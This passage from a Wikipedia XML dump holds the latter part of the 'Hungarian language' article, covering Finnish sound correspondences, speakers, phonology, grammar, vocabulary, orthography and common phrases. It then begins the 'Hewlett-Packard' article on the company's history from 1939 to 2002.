| {{IPA|[purki]}} || {{IPA|[forr]}} &lt;!-- what is this word?? --&gt;|| &quot;snow flurry&quot;
|}

*Finnish [k] corresponds to Hungarian [k] before front vowels
{|
! Finnish !! Hungarian !! meaning
|-
| {{IPA|[keri]}} || {{IPA|[keːrɛg]}} || &quot;bark&quot; (of a tree)
|-
| {{IPA|[kyːnel]}} || {{IPA|[køɲɲ]}} || &quot;a tear&quot;
|}

*Finnish [k] corresponds to Hungarian [h] before back vowels (just like Latin [k] in ''canine'' corresponds to English [h] in ''hound'')
{|
! Finnish !! Hungarian !! meaning
|-
| {{IPA|[kota]}} || {{IPA|[haːz]}} || &quot;house, hut&quot; (Khanty [xot]) 
|-
| {{IPA|[kala]}} || {{IPA|[hɒl]}} || &quot;fish&quot;
|}

*Finnish [t] corresponds to Hungarian [t] at the beginning of a word
{|
! Finnish !! Hungarian !! meaning
|-
| {{IPA|[tunte-]}} || {{IPA|[tud]}} || &quot;to know&quot;
|-
| {{IPA|[talvi]}} || {{IPA|[teːl]}} || &quot;winter&quot;
|}

*Finnish [l] corresponds to Hungarian [l] 
{|
! Finnish !! Hungarian !! meaning
|-
| {{IPA|[kuole-]}} || {{IPA|[hɒl]}} || &quot;to die&quot;
|-
| {{IPA|[lintu]}} || {{IPA|[luːd]}} || &quot;bird, goose&quot;
|}

This is just a sample. Even in the small number of words above, other regular sound correspondances are evident, such as Finnish [nt] and Hungarian [d] in &quot;to know&quot; and &quot;bird/goose&quot;.

== Geographic distribution ==
Hungarian is spoken in the following countries:

{|
!Country!!Speakers
|-
|[[Hungary]]||align=&quot;right&quot;|9,546,374 ([http://www.nepszamlalas.hu/eng/volumes/06/00/tabeng/2/load01_10_0.html census 2001])
|-
|[[Romania]]&lt;br/&gt;&lt;small&gt;(mainly [[Transylvania]])&lt;/small&gt;||align=&quot;right&quot;| 1,443,970 ([http://www.insse.ro/rpl2002rezgen/17.pdf census 2002])
|-
|[[Slovakia]]||align=&quot;right&quot;|520,528 ([http://www.statistics.sk/webdata/slov/scitanie/tab/tab3a.htm census 2001])
|-
|[[Serbia and Montenegro]]&lt;br/&gt;&lt;small&gt;(mainly [[Vojvodina]])&lt;/small&gt;||align=&quot;right&quot;|285,000 ([http://www.statserb.sr.gov.yu/Ter/epop.htm census 2002]) 
|-
|[[Ukraine]] &lt;br/&gt;&lt;small&gt;(mainly [[Zakarpattia Oblast|Zakarpattia]])&lt;/small&gt;||align=&quot;right&quot;|149,400 ([http://www.ukrcensus.gov.ua/eng/results/general/language/ census 2001])
|-
|[[Canada]]||align=&quot;right&quot;|75,555 ([http://www12.statcan.ca/english/census01/products/standard/themes/RetrieveProductTable.cfm?Temporal=2001&amp;PID=55670&amp;APATH=3&amp;GID=431515&amp;METH=1&amp;PTYPE=55430&amp;THEME=41&amp;FOCUS=0&amp;AID=0&amp;PLACENAME=0&amp;PROVINCE=0&amp;SEARCH=0&amp;GC=0&amp;GK=0&amp;VID=0&amp;FL=0&amp;RL=0&amp;FREE=0 census 2001])
|-
|[[Israel]]||align=&quot;right&quot;|70,000
|-
|[[Austria]]||align=&quot;right&quot;|22,000
|-
|[[Croatia]]||align=&quot;right&quot;|16,500
|-
|[[Slovenia]]||align=&quot;right&quot;|9,240
|}
:''Source: National census, [[Ethnologue]]''

Hungarian speakers are also found in [[Argentina]], [[Australia]], [[Belgium]], [[Brazil]], [[Canada]], the [[Czech Republic]], [[Finland]], [[France]], [[Germany]], [[The Netherlands]], [[Italy]], [[Switzerland]], the [[United Kingdom]], [[United States]], and in other parts of the world, adding an additional million speakers.

=== Official status ===
Hungarian is the [[official language]] of Hungary, and thus an official language of the [[European Union]].

Hungarian is also one of the official languages of [[Vojvodina]] and an official language of three municipalities in [[Slovenia]] ([[Hodos]], [[Dobronak]] and [[Lendva]]), along with [[Slovene language|Slovene]].

Hungarian is officially recognized as a [[minority language|minority]] or [[regional language]] in [[Austria]], [[Croatia]] and [[Slovakia]].

In [[Romania]], it is an official language at local level in all communes, towns and municipalities with an ethnic-Hungarian population of over 20%.

=== Dialects ===
The [[dialects]] of Hungarian identified by [[Ethnologue]] are: Alföld, West Danube, Danube-Tisza, King's Pass Hungarian, Northeast Hungarian, Northwest Hungarian, Székely and West Hungarian.  These dialects are all [[mutually intelligible]]. The Hungarian [[Csángó]] dialect, which is not listed by Ethnologue, is spoken mostly in [[Bacău County]], [[Romania]]. The Csángó minority group has been largely isolated from other Hungarians, and they therefore preserved a dialect closely resembling medieval Hungarian.

==Phonology==
{{main|Hungarian phonology}} 

Hungarian has 14 vowel phonemes and 25 consonant phonemes. The vowel phonemes are pairs of long and short vowels. Most of these pairs have similar vowel qualities, but the pairs written with &lt;a&gt; and &lt;e&gt; do not.

Consonant length is also distinctive in Hungarian. Most of the consonant phonemes can occur [[Gemination|geminate]].

The sound [[voiced palatal plosive]] {{IPA|/ɟ/}}, written &lt;gy&gt;, is unlike any in [[English language|English]]. It occurs in the name of the country, &quot;Magyarország&quot; (Hungary), pronounced {{IPA|/ˈmɒɟɒrorsaːg/}}.

Primary stress is always on the first [[syllable]] of a word.  There is sometimes secondary stress on other syllables, especially in compounds, ''e.g.'' &quot;viszontlátásra&quot; (see you later) pronounced {{IPA|/ˈvisontˌlaːtaːʃrɒ/}}.

Front-back [[vowel harmony]] is an important feature of Hungarian phonology.

== Grammar ==
{{main|Hungarian grammar}} 

Hungarian is an [[agglutinative language]]. Most grammatical information is given through [[suffix]]es. For example: at the table = ''az asztal'''nál''''' (space relation), at 5 o'clock = ''öt óra'''kor''''' (time relation). There is also one grammatical [[prefix]] (leg- for superlatives).

An unusual feature of Hungarian are the 2 verb conjugations. The &quot;definite&quot; conjugation is used for a [[transitive verb]] with a [[Definiteness|definite]] [[Object (grammar)|object]]. The &quot;indefinite&quot; conjugation is used for an [[intransitive verb]] or for a transitive verb with an [[Definiteness|indefinite]] object.

== Lexicon ==
Giving an exact estimate for the total word count is difficult, since it is hard to define what to call &quot;a word&quot; in [[agglutination|agglutinating]] languages, due to the existence of compound words. To have a meaningful definition of compound words, we have to exclude such compounds whose meaning is the mere sum of its elements. The largest dictionaries from Hungarian to another language contain 120,000 words and phrases (but this may include redundant phrases as well, because of translation issues). Hungarian lexicon is usually estimated to comprise 60,000 to 100,000 words. (Independently of specific languages, speakers actively use at most 10,000 to 30,000 words.)

Hungarian words are built around so called word-bushes, for example ''kör-köröz-körös-kering-kerge-kurta'' (originally related to &quot;circle&quot;, &quot;round&quot;). Due to this feature words with similar meaning often arise from the same root.

The lexicon of Hungarian contains words borrowed from various [[Turkic languages]], including [[Turkish language|Turkish]], as well as several loan words from [[German language|German]] and [[Slavic languages|Slavic]].

The basic vocabulary shares 1000-1200 words from [[Uralic languages]] like [[Finnish language|Finnish]] and [[Estonian language|Estonian]] (e.g., the numbers ''egy ~ yksi ~ üks'' (1), ''kettő ~ kaksi ~ kaks'' (2), ''három ~ kolme ~ kolm'' (3), ''négy ~ neljä ~ neli'' (4); ''víz ~ vesi ~ vesi'' (water); ''kéz ~ käsi ~ käsi'' (hand); ''vér ~ veri ~ veri'' (blood); ''fej ~ pää ~ pea'' (head) which have [[Comparative method|regular sound correspondences]], so most linguists classify them as [[Finno-Ugric languages]], a subgroup of the Uralic language family.

These 1000-1200 original word roots, however, account for about 80-90% of the words in an average present-day text, due to their wide-ranging compounds, derivations and formations, several dozens of words from a single root.

The proportion of the word roots in Hungarian lexicon is as follows: Finno-Ugric 21 %, [[Slavic languages|Slavic]] 20 %, [[German language|German]] 11 %, [[Turkic languages|Turkic]] 9.5 %, [[Latin]] and [[Greek language|Greek]] 6 %, [[Romance languages|Romance]] 2.5 %, Other of known origin 1 %, Other of uncertain origin 30%. Except for a few Latin and Greek loan-words, these are undiscernible for native speakers; they were entirely adapted into Hungarian lexicon.

===Word formation===
Words can be compound (as in [[German language|German]]) and derived (with [[suffix]]es).

There are also compound words using verbs which have their individual meanings, for example ''egyedülálló'' single (eg. person), whereas ''egyedül álló'' means something which stands alone.

===Noteworthy lexical items===
====Two words for &quot;red&quot;====

There are two basic words for &quot;red&quot; in Hungarian. (They are basic in the sense that you can't say one is a sub-type of the other, like &quot;scarlet&quot; is a kind of &quot;red&quot;.) ''Piros'' is used for lighter or vivid red, and often for inanimate, artificial things, as well as for things seen as cheerful or neutral. ''Vörös'' is used for darker red, and often for animate things, as well as for serious or emotionally involved/affected things. Since these attributes don't overlap in every case, their usage is not entirely regular or predictable. – According to Berlin, B and Kay, P (1969) ''Basic Color Terms'', Berkeley and Los Angeles: University of California Press, Hungarian is unique in having two basic colour words for red.

====Kinship terms====
In Hungarian there exist separate words for brothers and sisters depending on relative age:
{| class=&quot;wikitable&quot;
| ||younger||elder||no relative&lt;br&gt;age given||no gender&lt;br&gt;given
|-
|brother||''öcs''||''báty''||''fivér''||rowspan=2|''testvér''
|-
|sister||''húg''||''nővér''&lt;br&gt;(obs. ''néne'')||''nővér''
|}

(The original word for &quot;elder sister&quot; has become obsolete, and has been replaced by the generic word for &quot;sister&quot;.)

Besides, separate prefixes exist for up to the 5th ancestors and descendants:

{| class=&quot;wikitable&quot;
|parent||grandparent||great-&lt;br&gt;grandparent||great-great-&lt;br&gt;grandparent||great-great-great-&lt;br&gt;grandparent
|-
||''szülő''||''nagyszülő''||''dédszülő''||''ükszülő''||''szépszülő''&lt;br&gt;(OR ''ük-ükszülő'')
|-
|child||grandchild||great-&lt;br&gt;grandchild||great-great-&lt;br&gt;grandchild||great-great-great-&lt;br&gt;grandchild
|-
|''gyer(m)ek''||''unoka''||''dédunoka''||''ükunoka''||''szépunoka''&lt;br&gt;(OR ''ük-ükunoka'')
|}

On the other hand, no lexical items exist for &quot;son&quot; and &quot;daughter&quot;, but the words for &quot;boy&quot; and &quot;girl&quot; are applied with possessive suffixes. Nevertheless, the terms are differentiated with different declension or lexemes:

{| class=&quot;wikitable&quot;
| ||boy/girl||(his/her)&lt;br&gt;son/daughter||(his/her)&lt;br&gt;boy/girl (-friend)
|-
|male||''fiú''||''fia''||''fiúja''&lt;br&gt;''barátja'' (boyfriend)
|-
|female||''lány''||''lánya''||''csaja'' (slang, &quot;her girl&quot;, taken from the Gypsy language)&lt;br&gt;''barátnője'' (girlfriend)
|}

==Writing system==
For more information see also [[Hungarian alphabet]].

Hungarian is written using a variant of the [[Latin alphabet]], and has a [[phoneme|phonemic]] orthography, i.e. pronunciation can generally be predicted from the written language. In addition to the standard letters of the Latin alphabet, Hungarian uses several additional letters.  These include letters with acute accents ''(á,é,í,ó,ú)'' which represent long vowels, with umlauts (''ö'' and ''ü'') and their long counterparts ''ő'' and ''ű''. Sometimes ''ô'' or ''õ'' is used for ''ő'' and ''û'' for ''ű'', due to the limitations of the [[ISO 8859-1|Latin-1 / ISO-8859-1 codepage]], though these are not part of the Hungarian language. Hungarian can be properly represented with the [[ISO 8859-2|Latin-2 / ISO-8859-2 codepage]], but this codepage is not always available. (Hungarian is the only language using both ''ő'' and ''ű''.) Of course, [[Unicode]] includes them, and they therefore can be used on the Internet.

For a complete table of the pronunciation of the Hungarian alphabet, see [[:hu:X-SAMPA Magyar nyelvhez|the X-SAMPA description in the Hungarian Wikipedia]] (in Hungarian, but the table is obvious), which transliterates Hungarian letters into [[International Phonetic Alphabet|IPA]] and [[X-SAMPA]] characters.

Additionally, the letter pairs &amp;lt;ny&amp;gt;, &amp;lt;ty&amp;gt;, and &amp;lt;gy&amp;gt; represent the palatal consonants {{IPA|/&amp;#626;/}}, {{IPA|/c/}}, and {{IPA|/&amp;#607;/}} (a little like the &quot;dy&quot; sound in British &quot;''du''ke&quot; or American &quot;woul''d y''ou&quot;).
Hungarian uses &amp;lt;s&amp;gt; for {{IPA|/&amp;#643;/}} and &amp;lt;sz&amp;gt; for /s/, which is the reverse of [[Polish language|Polish]]. &lt;zs&gt; is {{IPA|/&amp;#658;/}} and &amp;lt;cs&amp;gt; is {{IPA|/&amp;#679;/}}. All these digraphs are considered single letters.  &lt;ly&gt; is also a &quot;single letter digraph&quot;, but is pronounced like /j/ (English &amp;lt;y&amp;gt;), and mostly appears in old words. More exotic letters are &amp;lt;dz&amp;gt; and &amp;lt;dzs&amp;gt; {{IPA|/&amp;#676;/}}. They are hard to find even in a longer text. Examples are ''madzag'' (&quot;string&quot;), ''edzeni'' (&quot;to train (athletically)&quot;) and ''dzsungel'' (&quot;jungle&quot;).

Single R's are tapped, like the Spanish &quot;pero&quot;; Double R's and initial R's are trilled, like the Spanish &quot;perro&quot;.

Hungarian distinguishes between long and short vowels, where the long vowels are written with acutes, and between long consonants and short consonants, where the long consonants are written double. The digraphs, when doubled, become trigraphs: &lt;sz&gt;+&lt;sz&gt;=&lt;ssz&gt;, but when wrapping a line, all letters are written out:
:... ''busz-''
:''szal''...

Usually a trigraph is a double digraph, but there are a few exceptions: ''tizennyolc'' &quot;eighteen&quot; is ''tizen'' + ''nyolc''. There are doubling minimal pairs: ''tol'' (''push'') vs. ''toll'' (''feather'' or ''pen'').

While it seems unusual to English speakers at first, once one learns the new orthography and pronunciations, written Hungarian is nearly totally phonemic.

==Name order==
The Hungarian language uses the so-called eastern [[Personal name#Name order|name order]], in which the [[family name]] comes first and the [[given name]] comes last. However, as a rule, names are represented in the western name order when used in foreign languages. Thus for example [[Edward Teller]], the Hungarian-born physicist, is known in Hungary as '''Teller Ede'''.

On the other hand, western names retain their order when used in Hungarian. Therefore:

*''Kiss János'', amikor Los Angelesben járt, látta ''John Travoltát''.
translates to
*When ''János Kiss''{{ref|nametr}} was in Los Angeles, he saw ''John Travolta''.

'''Note:'''

{{note|nametr}} or ''John Kiss''. While common prior to the 20&lt;sup&gt;th&lt;/sup&gt; century, given names are usually not translated into English.

See also: [[Hungarian name]].

==Examples==
When a word has its own stress (rather than clinging on the previous ones), it is practically always placed on the first syllable in Hungarian.

*Hungarian (person, language): ''magyar'' {{IPA|[mɑɟʝɑr]}}
*hello: ''szia'' {{IPA|[siɑ]}} (informal) (sounds almost exactly like American &quot;see ya&quot;) But you only say this to people that you know well. When you address a stranger you use the more formal &quot;good day&quot;: ''jó napot (kívánok)'' {{IPA|[joːnɑpot]}}
*good-bye: ''viszontlátásra'' (formal) (see above), ''viszlát'' {{IPA|[vislaːt]}} (semi informal)
*please: ''kérem (szépen)''  {{IPA|[keːrɛm seːpɛn]}} (This literally means &quot;I ask (it) well&quot;.  See next for a more common form of the polite request)
*I would like ____, please: ''Szeretnék ____'' {{IPA|[sɛrɛtneːk]}} (This example illustrates the use of the [[conditional tense]], as a common form of a polite request) 
*sorry: ''bocsánat'' {{IPA|[botʃaːnɑt]}}
*thank you: ''köszönöm'' {{IPA|[køsønøm]}}
*that/this: ''az'' {{IPA|[ɑz]}} ''ez''{{IPA|[ɛz]}}
*how much?: ''mennyi?'' {{IPA|[mɛɲɲi]}}
*how much does it cost?: ''mennyibe kerül?'' {{IPA|[mɛɲɲibe kɛryl]}}
*yes: ''igen'' {{IPA|[iɡɛn]}}
*no: ''nem'' {{IPA|[nɛm]}}
*I don't understand: ''nem értem'' {{IPA|[nɛm eːrtɛm]}}
*I don't know: ''nem tudom'' {{IPA|[nɛm tudom]}}
*Where's the toilet?: ''Hol van a vécé?'' {{IPA|[hol vɑn ɑ veːtseː]}} (vécé/veːtseː is the Hungarian pronouncation of the English abbreviation of &quot;Water Closet&quot;), more polite (and word-for-word) version ''Hol van a mosdó?'' {{IPA|[hol vɑn ɑ moʃdoː]}}
*generic toast: ''egészségedre!'' {{IPA|[ɛɡeːsʃeːɡɛdrɛ]}}
*juice: ''gyümölcslé'' {{IPA|[ɟʝymøltʃleː]}}
*water: ''víz'' {{IPA|[viːz]}}
*wine: ''bor'' {{IPA|[bor]}}
*beer: ''sör'' {{IPA|[ʃør]}}
*tea: ''tea'' {{IPA|[tɛɑ]}}
*milk: ''tej'' {{IPA|[tej]}}
*Do you speak English?: ''Beszél angolul?''  {{IPA|[bɛseːl ɑnɡolul]}}
*I love you: ''szeretlek'' {{IPA|[sɛrɛtlɛk]}}
*Help!: ''Segítség!'' {{IPA|[ʃɛɡiːtʃeːɡ]}}

==Reactions==

===Marc Martin===

The book ''Járt utat kétszer járj'' (&quot;Tread twice the trodden path&quot;, 
ISBN 9633675820) was published in 2004, a sultry declaration of love for the Hungarian language, written by a native Frenchman, a translator, Marc Martin. (His name is given on the cover in the Hungarianized form, ''Martin Márk''.) He first met the language through a record of [[Bluebeard's Castle]] by [[Béla Bartók|Bartók]]. The back cover dedication was written by [[Péter Nádas]] (whose novel ''A Book of Memories'' he had translated into French). The &quot;trodden path&quot; refers to his original life, family, neighbourhood, which he wanted to break away from, by being re-born into a new life and a new language.

== Controversy over origins==

Mainstream linguistics holds that Hungarian is part of the Uralic family of languages, related ultimately to languages such as [[Finnish language|Finnish]] and [[Nenets language|Nenets]]. However, there exist various alternative speculations about the origins of the Hungarian language, even fanciful ideas about Hungarian being derived from the [[Sumerian language]], but these are dismissed by linguists owing to a lack of evidence:
* Hungarian has often been claimed to be related to [[Hunnic language|Hunnish]], since Hungarian legends and histories show close ties between the two peoples. (although the name &quot;Hunor&quot; can also show a link with Khanti.) Some people believe that the [[Székely]], a part of the Hungarians living in Romania, are descended from the [[Huns]]. However, the link with Hunnish is uncertain, and it is not even known which languages the Huns spoke. 
* For many years (from [[1869]]), it was matter of dispute whether Hungarian was a Finno-Ugric/Uralic language, or was more closely related to the [[Turkic languages]], a controversy known as the &quot;Ugric-Turkish war&quot;. Hungarians did absorb some Turkic influences during several centuries of co-habitation. For example, it appears that the Hungarians learned animal breeding techniques from the Turkic [[Chuvash]], as a high proportion of words specific to agriculture and livestock are of Chuvash origin. There was also a strong Chuvash influence in burial customs. Furthermore, all Ugric languages, not just Hungarian, have Turkic loanwords related to horse riding. Nonetheless, the science of linguistics shows that the basic wordstock and morphological patterns of the Hungarian language are solidly based on a Uralic heritage.

== See also ==
*[[wikibooks:Hungarian| Wikibooks - Learn Hungarian]]
*[[Hungarian grammar]]
*[[Hungarian alphabet]]
*[[Hungarian phonology]]
*[[Hungarian literature]]
*[[List of tongue-twisters#Hungarian|Hungarian tongue-twisters]]
*[[List of English words of Hungarian origin]]
*[[Hungary]]
*[[Magyars|Hungarian people]]

== External links ==
{{InterWiki|code=hu}}
* [http://www.filolog.com/languageStrangeCake.html Hungarian - A Strange Cake on the Menu - ''article by Nádasdy Ádám'']
* [http://www.ethnologue.com/show_language.asp?code=HNG Ethnologue report for Hungarian]
* [http://www.ut.ee/Ural/num.html Numerals of some Uralic languages]
* [http://www.geocities.com/Athens/Acropolis/3093/finnugor.html Uralic page]
* [http://impulzus.sch.bme.hu/info/magyar.shtml Introduction to Hungarian]
* [http://www.lmp.ucla.edu/profiles/profh02.htm Hungarian Profile]
* [http://stp.ling.uu.se/~bea/hungarian.pdf &quot;The Hungarian Language: A Short Descriptive Grammar&quot;] by Beáta Megyesi (PDF document)
* [http://www.indiana.edu/~iuihsl/homethisisoldbutgoodone.html The old site of the Indiana University Institute of Hungarian Studies (various resources)]
* [http://miejipang.homestead.com/untitled18.html Let's try to learn Hungarian (Magyar) and Turkish!]
* [http://www.nyariegyetem.hu/regi/hlga/ang1.html Grammar, phonology and syntax plus some history of the language]
* [http://www.rpi.edu/~sofkam/magyar.html Hungarian Language Learning References] on the Hungarian Language Page (short reviews of useful books)
* [http://www.nyariegyetem.hu/ Debrecen Summer School] (with Hungarian Language and Culture Courses)
* [http://www.bbi.hu/main.php?folderID=865&amp;langchanged=eng Balassi Bálint Institute] (Hungarian language teaching)
* [http://users.tpg.com.au/etr/oldhu/halotti.html One of the oldest Hungarian texts - A Halotti Beszéd (The Funeral Oration)] 
* [http://www.geocities.com/rovasiras Hungarian runic writing]

===Linguistic chapters from the ''Encyclopaedia Humana Hungarica'' (1&amp;ndash;5)===
* [http://mek.oszk.hu/01900/01993/html/index2.html Introduction to the History of the Language; The Pre-Hungarian Period; The Early Hungarian Period; The Old Hungarian Period]
* [http://mek.oszk.hu/01900/01955/html/index2.html The Linguistic Records of the Early Old Hungarian Period; The Linguistic System of the Age]
* [http://mek.oszk.hu/01900/01949/html/index2.html The Old Hungarian Period; The System of the Language of the Old Hungarian Period]
* [http://mek.oszk.hu/01900/01919/html/index2.html The Late Old Hungarian Period; The System of the Language]
* [http://mek.oszk.hu/01900/01911/html/index2.html The First Half of the Middle Hungarian Period; Turkish Loan Words]
* (The English translations of volumes 6 to 9 are in preparation.)

=== Dictionaries === 
*[http://dict.sztaki.hu/english-hungarian Hungarian-English-Hungarian]
*[http://www.websters-online-dictionary.org/translation/Hungarian/ Dictionary] with Hungarian - English Translations from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
*[http://seas3.elte.hu/delg/people/core/lazar/falsefriends.html Hungarian-English False friends] ([[False friend]])
*[http://www.notam02.no/~hcholm/altlang/ht/Hungarian.html Hungarian slang]
*[http://www.japanmagyarszotar.hu/ Hungarian-Japanese-Hungarian online dictionary]

=== Online Language Courses ===
{{Wikibookspar||Hungarian}}
* [http://www.personal.psu.edu/faculty/a/d/adr10/hungarian.html A Hungarian Language Course] by Aaron Rubin
* [http://www.eulanguages.net STELLA HUNGARIAN – free online course Hungarian for beginners]
* [http://www.hungarotips.com/hungarian/b/ Online course hungarotips.com]
* [http://www.afs.hu/hungary/study.html Study Hungarian! (AFS.com)]
* [http://www.single-serving.com/Hungarian/ Hungarian Phrase Guides]
* [http://www.magyarora.com/ Magyaróra: New paths to the Hungarian language]
* [http://www.hungarotips.com/hungarian/ Hungarian Language Lessons - Puzzles, Quizzes, Sound Files]
* [http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=46&amp;learn-Hungarian/ Hear and learn useful expressions in Hungarian] Sentences are accompanied by sketch pictures to illustrate the situation where conversation happens

=== More links for learners ===
*[http://www.sprachprofi.de.vu/english/h.htm Course, Vocabularies, Phrases, Literature...]

{{Official EU languages}}

[[Category:Hungarian language|*]]
[[Category:Agglutinative languages]]
[[Category:Languages of Austria]]
[[Category:Languages of Hungary]]
[[Category:Languages of Romania]]
[[Category:Languages of Slovakia]]
[[Category:Languages of Slovenia]]
[[Category:Languages of Vojvodina]]
[[Category:Vowel harmony languages]]

[[ar:لغة مجرية]]
[[ast:Húngaru]]
[[bs:Mađarski jezik]]
[[ca:Hongarès]]
[[cv:Венгр чĕлхи]]
[[cs:Maďarština]]
[[da:Ungarsk (sprog)]]
[[de:Ungarische Sprache]]
[[et:Ungari keel]]
[[es:Idioma húngaro]]
[[eo:Hungara lingvo]]
[[fr:Hongrois]]
[[gl:Lingua húngara]]
[[ko:헝가리어]]
[[hr:Mađarski jezik]]
[[io:Hungariana linguo]]
[[id:Bahasa Hongaria]]
[[it:Lingua ungherese]]
[[he:הונגרית]]
[[kw:Hungarek]]
[[li:Hongaars]]
[[hu:Magyar nyelv]]
[[mk:Унгарски јазик]]
[[nl:Hongaars]]
[[ja:ハンガリー語]]
[[no:Ungarsk språk]]
[[nn:Ungarsk språk]]
[[pl:Język węgierski]]
[[pt:Língua húngara]]
[[ro:Limba maghiară]]
[[ru:Венгерский язык]]
[[se:Ungárgiella]]
[[simple:Hungarian language]]
[[sk:Maďarčina]]
[[sl:Madžarščina]]
[[sr:Мађарски језик]]
[[fi:Unkarin kieli]]
[[sv:Ungerska]]
[[tr:Macarca]]
[[zh:匈牙利语]]</text>
    </revision>
  </page>
  <page>
    <title>Hewlett-Packard</title>
    <id>13973</id>
    <revision>
      <id>42159683</id>
      <timestamp>2006-03-04T05:24:00Z</timestamp>
      <contributor>
        <username>Tomf688</username>
        <id>94202</id>
      </contributor>
      <minor />
      <comment>/* The eighties and beyond */</comment>
      <text xml:space="preserve">{{redirect|HP}}
{{Infobox_Company |
  company_name   = Hewlett-Packard Company |
  company_logo   = [[Image:Hp_logo.png|150px|HP Logo]] |
  company_type   = [[Public company|Public]] ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=HPQ HPQ]) |
  company_slogan = invent. |
  foundation     = [[Palo Alto, California]] ([[1939]]) |
  location       = [[Palo Alto, California]], [[USA]] |
  key_people     = [[Mark V. Hurd]], CEO &amp; President&lt;br&gt;[[Patricia C. Dunn]], Chairman&lt;br&gt;[[Robert Wayman]], CFO&lt;br&gt;[[William Hewlett]], Founder&lt;br&gt;[[David Packard]], Founder |
  num_employees  = ~151,000 ([[2004]]) |
  industry       = [[Computer Systems]] and [[Peripheral|Computer Peripherals]]|
  products       = [[Computer Monitor]]s&lt;br /&gt;[[Digital Camera]]s&lt;br /&gt;[[Digital Imaging]]&lt;br /&gt;[[Personal Computer]]s&lt;br /&gt;[[Computer printer|Printers]]|
  revenue        = {{profit}} $86.696 billion [[United States dollar|USD]] ([[2005]])|
  homepage       = [http://www.hp.com/ www.hp.com]
}}
The '''Hewlett-Packard Company''' {{nyse|HPQ}}, commonly known as '''HP''', is one of the world's largest [[information technology]] corporations. Headquartered in [[Palo Alto, California]], [[United States]], it has a global presence in the fields of computing, printing, and digital imaging, and also sells software and services.

==Company history==
===From 1939 until the seventies===
HP was founded as a manufacturer of test and measurement instruments with a [[United States dollar|US$]]500 investment in a [[Palo Alto]], [[California|CA]] [http://www.hp.com/hpinfo/abouthp/histnfacts/garage/ garage] in [[1939]] by [[William Hewlett|Bill Hewlett]] and [[David Packard|Dave Packard]]. They had both graduated from [[Stanford University]] in [[1934]]. Their first product was a precision audio [[oscillator]], the Model 200A. Their innovation was the use of a small night-[[light bulb]] as a temperature dependent [[resistor]] in a critical portion of the circuit. This allowed them to sell the Model 200A for $54.40 when competitors were selling less stable oscillators for over $200. Their company's name, Hewlett-Packard, was derived from their last names and had Bill not won the coin toss, the company today could have been known as Packard-Hewlett. One of the company's earliest customers was [[The Walt Disney Company|Walt Disney Productions]], who bought eight Model 200B oscillators (at $71.50 each) for use in testing the [[Fantasound]] [[surround sound|stereophonic sound]] system for the movie ''[[Fantasia (movie)|Fantasia]]''.

===First Computers===
[[Image:HP0100A 1.jpg|thumb|&quot;The new Hewlett-Packard 9100A personal computer&quot; is &quot;ready, willing, and able ... to relieve you of waiting to get on the big computer.&quot;]]
HP is [http://www.wired.com/wired/archive/8.12/mustread.html?pg=11 acknowledged by] ''[[Wired Magazine|Wired]]'' magazine as the producer of the world's first [[personal computer]], in [[1968]], the Hewlett-Packard 9100A. HP called it a desktop calculator because, as Bill Hewlett said, &quot;If we had called it a computer, it would have been rejected by our customers' computer gurus because it didn't look like an [[IBM mainframe|IBM]]. We therefore decided to call it a calculator, and all such nonsense disappeared&quot;.   An engineering triumph at the time, the logic circuit was produced without any [[integrated circuits]]; the assembly of the CPU having been entirely executed in discrete components.  The mathematical functions and programmability rival the most powerful scientific calculators of the present day.   With CRT readout, magnetic card storage, and printer the price was around $5000.

The company earned global respect for a variety of products. They introduced the world's first ''handheld scientific electronic [[calculator]]'' in [[1972]] (the [[HP-35]]), the first ''handheld programmable'' in [[1974]] (the [[HP-65]]), the first ''alphanumeric, programmable, expandable'' in [[1979]] (the [[HP-41|HP-41C]]), and the first symbolic and graphing calculator [[HP-28C]].  Like their scientific and business calculators, their [[oscilloscope]]s, [[logic analyzer]]s, and other measurement instruments have a reputation for sturdiness and usability (the latter products are now part of spin-off [[Agilent Technologies|Agilent]]'s product line).  The company's design philosophy in this period was summarized as &quot;design for the guy at the next bench&quot;.

HP is recognized as the symbolic founder of [[Silicon Valley]], although it did not actively investigate semiconductor devices until a few years after the &quot;[[Traitorous Eight]]&quot; had abandoned [[William Shockley]] to create [[Fairchild Semiconductor]] in [[1957]].   Hewlett-Packard's [[HP Associates]] division, established around [[1960]], developed semiconductor devices primarily for internal use. Instruments and calculators were some of the products using these devices.

===The eighties and beyond===
In [[1984]], HP introduced both [[inkjet printer|inkjet]] and [[laser printer]]s for the desktop.  Along with its [[scanner (computing)|scanner]] product line, these have later been developed into successful [[multifunctional|multifunction]] products, the most significant being single-unit printer/scanner/copier/fax machines.  As of [[2003]], HP's major competitors in this growing part of the [[Small Office, Home Office|home office]] market are [[Brother Industries, Ltd.|Brother]], [[Canon (company)|Canon]], [[Epson]], and [[Lexmark]]. Another vendor of note who rivals HP printers is [[Dell, Inc.|Dell]], who rebrands and repackages Lexmark products.

In the [[1990s]], HP expanded their computer product line, which initially had been targeted at university, research, and business customers, to reach consumers.  HP also grew through acquisitions, buying [[Apollo Computer]] in 1989, [[Convex Computer]] in 1995, and [[Compaq]] in 2002.  Compaq itself had bought [[Tandem Computers]] in 1997 (which had been started by ex-HP employees), and [[Digital Equipment Corporation]] in 1998.  Following this strategy HP became a major player in desktops, laptops, and servers for many different markets.  The buyout made HP the world's largest manufacturer of personal computers.

In [[1987]], the [[Palo Alto, California|Palo Alto]] garage where Hewlett and Packard started their business was designated as a California State historical landmark. However, [[Agilent Technologies]], not HP, bears the legacy of the original company founded in 1939, as evidenced by Agilent's portfolio of electronic instruments descended from HP's earliest products. Agilent was spun off from HP in [[1999]].

'''HPshopping.com''' was launched in [[1998]] as HP's direct-to-consumer e-commerce store, and in [[1999]] became incorporated as a wholly owned subsidiary. In [[2002]], [[Compaq]]'s direct-to-consumer e-commerce store, CompaqAtHome, joined [[hpshopping.com]], creating a comprehensive, one-stop, on-line store for HP and Compaq home and home-office products. 

